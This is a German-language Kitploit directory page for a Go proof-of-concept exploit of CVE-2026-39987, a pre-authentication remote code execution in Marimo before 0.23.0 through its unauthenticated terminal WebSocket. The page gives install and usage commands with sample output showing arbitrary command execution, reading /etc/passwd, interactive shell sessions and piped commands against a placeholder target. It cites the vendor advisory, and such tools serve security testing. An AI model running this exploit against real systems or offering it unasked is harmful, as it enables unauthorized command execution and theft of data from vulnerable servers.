Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
cve-2026-39987 — Nutzt CVE-2026-39987 Pre-Auth-RCE in Marimo <0.23.0 aus, indem es eine Verbindung zum nicht authentifizierten /terminal/ws-WebSocket herstellt. Unterstützt die Ausführung beliebiger Befehle, Pipe-Eingaben und interaktive Shell-Sitzungen. | Kitploit
Tools/GitHubGitHub/matesz44/cve-2026-39987
Authentifizierung & AutorisierungExploitationWebanwendungs-ExploitationPenetrationstestsRed Teaming
GitHubmatesz44/cve-2026-39987

cve-2026-39987

Nutzt CVE-2026-39987 Pre-Auth-RCE in Marimo <0.23.0 aus, indem es eine Verbindung zum nicht authentifizierten /terminal/ws-WebSocket herstellt. Unterstützt die Ausführung beliebiger Befehle, Pipe-Eingaben und interaktive Shell-Sitzungen.

Repository anzeigen
vor 7 TagenNoch nicht geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen


cve-2026-39987

Installation • Verwendung • Beispiele

Ich probiere nur Go aus :D Übrigens: CVE-2026-39987 PoC: Marimo<0.23.0 Pre-Auth Remote Code Execution durch Umgehung der Terminal-WebSocket-Authentifizierung (keine Authn-Prüfung auf /terminal/ws).

Ressourcen:

  • https://github.com/marimo-team/marimo/security/advisories/GHSA-2679-6mx9-h9xc
  • https://nvd.nist.gov/vuln/detail/CVE-2026-39987

Installation

root@kitploit:~
go install -v github.com/matesz44/cve-2026-39987/cmd/cve-2026-39987@latest

Verwendung

root@kitploit:~
cve-2026-39987 -h

Dies zeigt die Hilfe für das Tool an. Hier sind alle unterstützten Optionen.

root@kitploit:~
CVE-2026-39987 PoC: Marimo<0.23.0 Pre-Auth Remote Code Execution via Terminal WebSocket Authentication Bypass
- Source: https://github.com/marimo-team/marimo/security/advisories/GHSA-2679-6mx9-h9xc

Usage:
  ./cve-2026-39987 [flags]

Flags:
   -t, -target string  Target WebSocket URL (required, e.g., ws(s)://[TARGET]:([PORT])/terminal/ws)
   -c, -cmd string     Command to Run (default "uname -a")
   -i, -interactive    Interactive Mode

Beispiele

Standardbefehl (uname -a):

root@kitploit:~
cve-2026-39987 -t ws(s)://<TARGET>[:PORT]/terminal/ws
REDACTED@REDACTED:~$ uname -a
Linux [...]
REDACTED@REDACTED:~$ exit
exit

[INF:normalclose] websocket: close 1000 (normal): Terminal session ended

Benutzerdefinierter Befehl (-c):

root@kitploit:~
cve-2026-39987 -t ws(s)://<TARGET>[:PORT]/terminal/ws -c "cat /etc/passwd"
REDACTED@REDACTED:~$ cat /etc/passwd
exit
root:x:0:0: [...]
REDACTED@REDACTED:~$ exit
exit

[INF:normalclose] websocket: close 1000 (normal): Terminal session ended

Interaktiver Modus (-i):

root@kitploit:~
cve-2026-39987 -t ws(s)://<TARGET>[:PORT]/terminal/ws -i
REDACTED@REDACTED:~$ id
id
uid=1000(REDACTED) gid=1000(REDACTED) groups=1000(REDACTED)
REDACTED@REDACTED:~$ whoami
whoami
REDACTED
REDACTED@REDACTED:~$ exit
exit
exit

[INF:normalclose] websocket: close 1000 (normal): Terminal session ended

Piping:

root@kitploit:~
printf "id\nwhoami" | cve-2026-39987 -t ws(s)://<TARGET>[:PORT]/terminal/ws
REDACTED@REDACTED:~$ id
whoami
exit
uid=1000(REDACTED) gid=1000(REDACTED) groups=1000(REDACTED)
REDACTED@REDACTED:~$ whoami
REDACTED
REDACTED@REDACTED:~$ exit
exit

[INF:normalclose] websocket: close 1000 (normal): Terminal session ended
Tool herunterladen